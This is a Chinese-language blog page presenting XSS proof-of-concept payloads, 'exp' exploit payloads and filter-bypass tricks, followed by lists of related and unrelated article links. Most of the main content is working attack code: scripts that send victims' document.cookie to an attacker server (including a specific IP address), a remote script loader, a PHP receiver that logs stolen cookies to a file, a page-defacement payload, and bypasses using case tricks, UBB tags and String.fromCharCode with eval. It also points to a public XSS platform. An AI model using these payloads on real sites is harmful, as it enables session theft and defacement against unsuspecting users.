poc

  • <script>alert('xss')</script>  最简单常用的poc
  • "><script>alert(1)<script>
  • <a href='' onclick=alert('xss')>type</a> 页面出现一个按钮type,点击触发onclick,然后执行弹窗
  • <img src=http://1.1.1.1/a.ipg onerror=alert('xss')> 加载图片,给一个错误的图片地址,错误则执行弹窗
  • <script>window.location=‘http://1.1.1.1'</script> 重定向到指定的url地址
  • <iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
  • onmouseover=alert(document.domain)    闭合属性,构造on事件
  • onmousemove=alert(1)
  • <input type=”text ”  onfocus=prompt(1) autofocus>

    利用input的autofocus属性,无需用户交互即可触发xss.

  • htmlspecialchars:输入常用符号,看哪些符号没被实体编码。
  • 如输入在herf或src里面:javascript:alert(1)
  • js输出,输入的数据由js变量接收,通过</script>闭合即可

exp

  • <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS
    WEBSITE IS UNDER ATTACK</h1></div>";</script>

    • 篡改页面,将页面篡改为<h1></h1>里面显示的文字
  • <script>new Image().src="http://yourhost/getcookie.php?
    cookie="+document.cookie;</script>

    • 将别人登录的cookie信息捕获到自己的服务器上
    • 自己的服务器上编写一个接收cookie信息的php脚本getcookie.php
    • 此脚本将接收到的cookie信息写入到自动创建的txt文本cookie.txt里面
  • <script>document.location='http://47.99.184.173/getcookie.php?cookie='+document.cookie;</script>
    • 与上一个获取cookie信息的payload相似,相当于这是第二种获取cookie信息的exp
  • <script src=http://1.1.1.1/a.js></script>
    • 自己服务器上a,js的源码为:
    • var img = new Image();
      img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;
    • 获取cookie信息的第三种方式,这种方式的payload比较简短,便于很好的利用。
    • 这种间接的方式,可以适用于所有的exp,将攻击代码放在服务器上的一个js文件里面,然后再漏洞点利用<script>访问

附上一个简短的getcookie.php脚本

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "w");
fwrite($log, $cookie ."\n");
fclose($log);
?>

绕过方法

  • 利用js双写或者大些小绕过:<scscriptript>alert(1)</scrscriptipt>
  • 利用input弹窗
    ' oninput=alert`1` //
    ' oninput=alert`1` '
    ' onchange=alert`1` //
    ' onchange=alert`1` '
  • 利用链接弹窗(a标签)<a href="javascript:alert(1)">click me</a> //

  • 利用html实体编码绕过
  • 利用换行绕过
  1. 转义字符:将xss语句转换为含有“\”16进制或者8进制

    (工具地址:http://tools88.com/safe/xss.php)

  2. UBB标签:UBB标签是目前广泛运用到论坛,留言簿,以及其他网站系统的一种编码标签,类似[img]url[/img]这样的,用户在中间输入地址后即可,在发表的时候系统会自动改成<img src=”url”></img>。这个URL就是用户输入的图片地址,XSS攻击中,可以利用这个特点来达到无需用户输入<>就能执行由用户所输入的代码,我们只要在输入网址的地方输入:
    x"/**/onerror="alert('poruin')
    • 那么经过转换后就变成了<img src="x"/**/onerror="alert('poruin')"></img>

      在JS中空格可以用/**/转换,如图:

3.JS还原函数

JS中的编码还原函数最常用的就是String.fromCharCode了,这个函数用于ascii码的还原,一般来说,这个函数都要配合EVAL来使用才有效果。

在跨站中,String.fromCharCode主要是使到一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为ASCII码,然后再用String.fromCharCode还原,因为大多数的过滤系统都不会把String.fromCharCode加以过滤,例如关键字alert被过滤掉,那就可以这么利用:

<img src="x"/**/onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))"></img>

XSS过滤绕过速查表:https://www.freebuf.com/articles/web/153055.html

xss公共平台:http://xss.fbisb.com

  

XSS漏洞的poc与exp的更多相关文章

  1. XSS 漏洞介绍

    概念: XSS 攻击:跨站脚本攻击 (Cross Site Scripting),为不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混淆.故将跨站脚本攻击缩写为 XS ...

  2. 从零学习安全测试,从XSS漏洞攻击和防御开始

    WeTest 导读 本篇包含了XSS漏洞攻击及防御详细介绍,包括漏洞基础.XSS基础.编码基础.XSS Payload.XSS攻击防御. 第一部分:漏洞攻防基础知识   XSS属于漏洞攻防,我们要研究 ...

  3. markdown反射型xss漏洞复现

    markdown xss漏洞复现 转载至橘子师傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html 漏洞成因 最初是看到Hack ...

  4. 【转载】【网络安全】渗透中 PoC、Exp、Payload 与 Shellcode 的区别

    原文地址 渗透中 PoC.Exp.Payload 与 Shellcode 的区别 概念 PoC,全称"Proof of Concept",中文"概念验证",常指 ...

  5. PhpMyWind储存型XSS漏洞练习(CVE-2017-12984)

    0x01 介绍 又是一款开源CMS内容管理系统PhpMyWind,在小于等于5.4版本中存在储存型XSS漏洞.如下图所示,这个就是发生储存型XSS漏洞的代码 0x02 演示 1.第一张图是客户留言时, ...

  6. Wordpress Calendar Event Multi View < 1.4.01 反射型xss漏洞(CVE-2021-24498)

    简介 WordPress是Wordpress基金会的一套使用PHP语言开发的博客平台.该平台支持在PHP和MySQL的服务器上架设个人博客网站.WordPress 插件是WordPress开源的一个应 ...

  7. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  8. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  9. 基于dom的xss漏洞原理

    原文:http://www.anying.org/thread-36-1-1.html转载必须注明原文地址最近看到网络上很多人都在说XSS我就借着暗影这个平台发表下自己对这一块的一些认识.其实对于XS ...

随机推荐

  1. mac 软件相关的

    mac 系统教学 https://www.w3cschool.cn/macdevsetup/carp1i83.html 可以查看的软件网站 https://www.ifunmac.com/ https ...

  2. 解决.net core3.1使用docker部署在Ubuntu上连接sqlserver报error:35的问题

    最近把一个项目从core2.2迁移至core3.1,在本地win上跑没有问题,但是上线到生产Ubuntu docker环境下连接不上sqlserver报以下错误. A connection was s ...

  3. ES6 - 基础学习(3): 变量的解构赋值

    解构赋值概述 1.解构赋值是对赋值运算符的扩展. 2.它是一种针对数组或者对象进行模式匹配,然后对其中的变量进行赋值. 3.代码书写上显得简洁且易读,语义更加清晰明了:而且还方便获取复杂对象中的数据字 ...

  4. Linux学习Day2:安装RedHat Linux和新手必须掌握的命令

    今天是Linux线上培训的第二天,主要是Linux环境的安装和几个常见命令的学习,具体如下: 一.RHEL7系统的安装 首先是VMware WorkStation 12.0软件的安装,然后是RHEL7 ...

  5. cf1294E

    题意简述:给一个矩阵,有两种操作可以进行 操作1:改变矩阵中一个元素的值 操作2:将矩阵中某一列的值循环下移 要求用最少的操作次数使得矩阵变成 题解:对于一列来说,我们肯定是先变化然后再循环下移,所以 ...

  6. 根据js轮播图原理写出合理的结构与样式、并实现js交互效果

    在JS中,能用 . 的地方一般都可以用 [ ] 取代 index.html <!DOCTYPE html> <html lang="en"> <hea ...

  7. Eclipse部署项目,常见几个问题解决方案

    一.java compiler level does not match the version of the inst 解决方案:(一般出现在拷贝项目) 第一步:在Eclipse环境中,鼠标右键选择 ...

  8. 全栈之路-小程序API-SpringBoot项目中参数校验机制与LomBok工具集使用

    参数校验机制在web开发中是非常重要的,每当看到现在所在公司的校验代码,我都有头疼,每一个接口都是重新写参数的校验,有些复杂的接口,参数的校验甚至占了整个接口代码量的挺大一部分的,看着我都有些头疼,我 ...

  9. python类详细说明、常用内置方法和self的作用

    一.类的定义 在Python中,一切皆对象,即便是类本身,也是一种type类型的特殊对象. class Person: def __init__(self, name, age): self.name ...

  10. CSS操作

    CSS 与 JavaScript 是两个有着明确分工的领域,前者负责页面的视觉效果,后者负责与用户的行为互动.但是,它们毕竟同属网页开发的前端,因此不可避免有着交叉和互相配合. 1. 使用JavaSc ...